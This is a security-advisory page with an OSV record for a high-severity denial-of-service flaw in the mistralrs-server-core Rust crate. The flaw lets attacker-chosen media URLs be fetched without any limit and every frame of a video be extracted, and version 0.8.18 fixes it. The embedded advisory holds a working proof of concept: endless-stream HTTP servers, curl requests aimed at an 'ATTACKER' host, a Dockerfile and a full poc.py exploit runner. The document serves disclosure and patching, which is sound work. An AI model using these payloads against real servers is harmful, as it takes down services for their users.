GHSA-m3wp-48jr-vr4g: Mistralrs server core Denial of Service Vulnerability
HIGHGHSA-m3wp-48jr-vr4g is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Mistralrs server core libraries in the crates.io ecosystem. The issue involves unbounded remote media fetch and video frame expansion dos. Remediation is available by upgrading affected packages to version 0.8.18.
GHSA-m3wp-48jr-vr4g at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix GHSA-m3wp-48jr-vr4g
To remediate this vulnerability, upgrade all affected Mistralrs server core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade mistralrs-server-core to 0.8.18
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for mistralrs-server-core
How to Check if You Are Affected
To determine whether your application is affected by GHSA-m3wp-48jr-vr4g, inspect your project dependencies for Mistralrs server core:
inspect dependencies for mistralrs-server-core
Analyze the terminal output to locate any version of Mistralrs server core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.18), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Mistralrs server core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-m3wp-48jr-vr4g Affected Mistralrs server core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
mistralrs-server-core
|
crates.io |
< 0.8.18
|
0.8.18
|
References
Frequently Asked Questions
What is GHSA-m3wp-48jr-vr4g?
Which Mistralrs server core versions are affected?
What version fixes GHSA-m3wp-48jr-vr4g?
Is mistralrs-server-core affected?
What is the CVSS score of GHSA-m3wp-48jr-vr4g?
What CWE is associated with GHSA-m3wp-48jr-vr4g?
How can I check crates.io dependencies for GHSA-m3wp-48jr-vr4g?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-m3wp-48jr-vr4g",
"modified" : "2026-09-10T21:54:37Z",
"published" : "2026-09-10T21:54:37Z",
"aliases" : [ ],
"summary" : " mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS",
"details" : "## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59–62`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap\n Err(e) => anyhow::bail!(e),\n }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65–69`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n let resp = reqwest::get(url.clone())\n .await\n .context(format!(\"Failed to fetch video: {url}\"))?;\n resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec<u8>`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225–248`)**\n\n```rust\n} else {\n let mut command = tokio::process::Command::new(\"ffmpeg\");\n command\n .arg(\"-i\")\n .arg(input_path.to_str().unwrap())\n .arg(\"-vsync\")\n .arg(\"vfr\")\n .arg(&output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(&url_unparsed, None)\n```\n\nA 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"video/mp4\")\n self.end_headers()\n with open(\"many_frames.mp4\", \"rb\") as f:\n self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/png\")\n self.end_headers()\n chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n while True:\n self.wfile.write(chunk)\n self.wfile.flush()\n time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 – Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"model\": \"default\",\n \"messages\": [{\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n {\"type\": \"text\", \"text\": \"summarize this video\"}\n ]\n }]\n }'\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"model\": \"default\",\n \"messages\": [{\n \"role\": \"user\",\n \"content\": [\n {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n {\"type\": \"text\", \"text\": \"describe this image\"}\n ]\n }]\n }'\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/<uuid>_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59–62` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n# http_resp.bytes().await?.to_vec() -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends pkg-config libssl-dev && \\\n rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src && echo 'fn main() {}' > src/main.rs\nRUN cargo fetch 2>&1\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2>&1 && \\\n strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends ca-certificates python3 && \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT [\"/usr/local/bin/vuln_harness\"]\nCMD [\"--help\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 PoC: Unbounded Remote Media Fetch DoS\nRepository : EricLBuehler/mistral.rs\nCWE : CWE-400 Uncontrolled Resource Consumption\nCVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nVulnerable code (mistralrs-server-core/src/util.rs:59-62):\n let bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n match reqwest::get(url.clone()).await {\n Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP\n ...\n\nAttack path in the live server:\n POST /v1/chat/completions\n -> chat_completion.rs:928 parse_image_url(&url_unparsed)\n -> util.rs:59-62 reqwest::get(url).bytes().await?.to_vec()\n\nThis PoC:\n 1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.\n 2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside\n a Docker container limited to MEMORY_LIMIT_MB of RAM.\n 3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.\n\nUsage (from host):\n # Build the image first:\n docker build -t vuln001-poc <vuln-001-dir>\n # Then run the PoC:\n python3 poc.py\n\"\"\"\n\nimport http.server\nimport subprocess\nimport threading\nimport time\nimport sys\nimport os\nimport socket\nimport json\nimport argparse\n\nMALICIOUS_HOST = \"127.0.0.1\"\nMALICIOUS_PORT = 9997\nDOCKER_IMAGE = \"vuln001-poc\"\nMEMORY_LIMIT = \"256m\" # Docker container memory cap\nCHUNK_SIZE = 1024 * 1024 # 1 MB per chunk sent by the malicious server\nPOC_TIMEOUT_S = 120 # Give the container at most 2 minutes\n\n\nclass _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):\n \"\"\"\n Malicious HTTP server that streams an infinite byte sequence.\n\n Key properties that trigger the vulnerability:\n - No Content-Length header: reqwest cannot pre-check size.\n - Streams indefinitely: bytes().await will not return until the connection\n is closed or the client process is killed.\n - Content-Type image/png: accepted by the parse_image_url() code path.\n \"\"\"\n\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/png\")\n # Deliberately omit Content-Length so the client buffers until EOF.\n self.end_headers()\n\n # Fake PNG magic bytes followed by filler to look plausible.\n header = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * 8\n filler = b\"\\x00\" * (CHUNK_SIZE - len(header))\n chunk = header + filler\n\n total_sent = 0\n try:\n while True:\n self.wfile.write(chunk)\n self.wfile.flush()\n total_sent += len(chunk)\n if total_sent % (64 * 1024 * 1024) == 0:\n _log(f\"[malicious-server] Sent {total_sent // (1024 * 1024)} MB\")\n except (BrokenPipeError, ConnectionResetError, OSError):\n _log(\n f\"[malicious-server] Connection closed after \"\n f\"{total_sent // (1024 * 1024)} MB sent\"\n )\n\n def log_message(self, *_):\n pass # Suppress default access log noise.\n\n\ndef _log(msg: str) -> None:\n print(msg, flush=True)\n\n\ndef _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:\n \"\"\"Return True once the port is accepting connections, False on timeout.\"\"\"\n deadline = time.monotonic() + timeout\n while time.monotonic() < deadline:\n try:\n with socket.create_connection((host, port), timeout=0.5):\n return True\n except OSError:\n time.sleep(0.1)\n return False\n\n\ndef start_malicious_server() -> http.server.HTTPServer:\n \"\"\"Start the infinite-stream HTTP server in a daemon thread.\"\"\"\n server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)\n t = threading.Thread(target=server.serve_forever, daemon=True)\n t.start()\n return server\n\n\ndef run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:\n \"\"\"\n Run the full attack chain and return a result dict.\n\n Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.\n \"\"\"\n _log(\"=\" * 70)\n _log(\"VULN-001 PoC: Unbounded Remote Media Fetch DoS\")\n _log(\"Source : mistralrs-server-core/src/util.rs:59-62\")\n _log(\"=\" * 70)\n\n # ------------------------------------------------------------------\n # Step 1: Start the malicious streaming server.\n # ------------------------------------------------------------------\n _log(f\"\\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}\")\n server = start_malicious_server()\n\n if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):\n _log(\"[!] FATAL: malicious server did not start in time\")\n return {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"exit_code\": None,\n \"evidence\": \"Malicious HTTP server failed to start\",\n \"stdout\": \"\",\n \"stderr\": \"\",\n }\n\n target_url = f\"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite\"\n _log(f\"[+] Malicious server ready: GET {target_url}\")\n _log(f\" -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body\")\n\n # ------------------------------------------------------------------\n # Step 2: Run the vulnerable binary inside Docker with a memory cap.\n #\n # --network host : allows the container to reach 127.0.0.1:<port>\n # --memory : hard cap; kernel sends SIGKILL when exceeded\n # --memory-swap : equal to --memory disables swap usage\n # --rm : clean up after exit\n # ------------------------------------------------------------------\n run_cmd = [\n \"docker\", \"run\", \"--rm\",\n \"--memory\", memory_limit,\n \"--memory-swap\", memory_limit, # No swap fallback.\n \"--network\", \"host\", # Access host's loopback server.\n docker_image,\n target_url,\n ]\n\n _log(f\"\\n[2] Launching Docker container (memory cap = {memory_limit})\")\n _log(f\" Command: {' '.join(run_cmd)}\")\n _log(f\" The vuln_harness binary will fetch {target_url} with no byte limit.\")\n _log(f\" Expected: container OOM-killed, exit code 137.\")\n\n t0 = time.monotonic()\n try:\n result = subprocess.run(\n run_cmd,\n capture_output=True,\n timeout=POC_TIMEOUT_S,\n )\n except subprocess.TimeoutExpired as exc:\n server.shutdown()\n _log(f\"[!] Container did not exit within {POC_TIMEOUT_S}s — killing\")\n subprocess.run([\"docker\", \"kill\", \"--signal=9\"] + [\n c for c in subprocess.run(\n [\"docker\", \"ps\", \"-q\", \"--filter\", f\"ancestor={docker_image}\"],\n capture_output=True, text=True,\n ).stdout.split() if c\n ], capture_output=True)\n elapsed = time.monotonic() - t0\n return {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"exit_code\": None,\n \"evidence\": f\"Container timed out after {elapsed:.0f}s without OOM kill\",\n \"stdout\": (exc.stdout or b\"\").decode(errors=\"replace\"),\n \"stderr\": (exc.stderr or b\"\").decode(errors=\"replace\"),\n }\n\n elapsed = time.monotonic() - t0\n exit_code = result.returncode\n stdout_txt = result.stdout.decode(errors=\"replace\")\n stderr_txt = result.stderr.decode(errors=\"replace\")\n\n server.shutdown()\n\n # ------------------------------------------------------------------\n # Step 3: Analyse outcome.\n # ------------------------------------------------------------------\n _log(f\"\\n[3] Container exited after {elapsed:.1f}s exit_code={exit_code}\")\n _log(f\" stdout: {stdout_txt!r}\")\n _log(f\" stderr: {stderr_txt!r}\")\n\n # Docker exit code 137 = container killed by SIGKILL (OOM killer).\n if exit_code == 137:\n passed = True\n verdict = \"PASS\"\n evidence = (\n f\"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. \"\n f\"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all \"\n f\"{memory_limit} of available RAM — identical behaviour to \"\n f\"mistralrs-server-core/src/util.rs:62 (parse_image_url). \"\n f\"stderr={stderr_txt!r}\"\n )\n elif exit_code != 0:\n # Non-zero but not 137: still indicates abnormal termination under memory pressure.\n passed = True\n verdict = \"PASS\"\n evidence = (\n f\"Vulnerable binary terminated abnormally (exit code {exit_code}) after \"\n f\"{elapsed:.1f}s while buffering an unbounded HTTP stream. \"\n f\"This confirms that reqwest::get(url).bytes().await?.to_vec() at \"\n f\"util.rs:62 has no byte cap and causes resource exhaustion. \"\n f\"stderr={stderr_txt!r}\"\n )\n else:\n # Unlikely: the binary finished without being killed. This can happen if\n # the server managed to EOF the stream before OOM, or the memory cap was\n # not enforced by Docker.\n passed = False\n verdict = \"INCOMPLETE\"\n evidence = (\n f\"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been \"\n f\"enforced by Docker. stdout={stdout_txt!r}\"\n )\n\n _log(f\"\\n[VERDICT] {verdict}\")\n _log(f\"[EVIDENCE] {evidence}\")\n\n return {\n \"passed\": passed,\n \"verdict\": verdict,\n \"exit_code\": exit_code,\n \"evidence\": evidence,\n \"stdout\": stdout_txt,\n \"stderr\": stderr_txt,\n }\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n parser.add_argument(\"--image\", default=DOCKER_IMAGE, help=\"Docker image name\")\n parser.add_argument(\"--memory\", default=MEMORY_LIMIT, help=\"Docker memory cap (e.g. 256m)\")\n args = parser.parse_args()\n\n outcome = run_poc(docker_image=args.image, memory_limit=args.memory)\n\n _log(\"\\n\" + \"=\" * 70)\n _log(\"RESULT SUMMARY\")\n _log(\"=\" * 70)\n for k, v in outcome.items():\n if k not in (\"stdout\", \"stderr\"):\n _log(f\" {k}: {v}\")\n\n sys.exit(0 if outcome[\"passed\"] else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "crates.io",
"name" : "mistralrs-server-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.8.18"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.8.4"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-m3wp-48jr-vr4g"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/EricLBuehler/mistral.rs"
}, {
"type" : "WEB",
"url" : "https://github.com/EricLBuehler/mistral.rs/releases/tag/v0.8.18"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-10T21:54:37Z",
"nvd_published_at" : null
}
}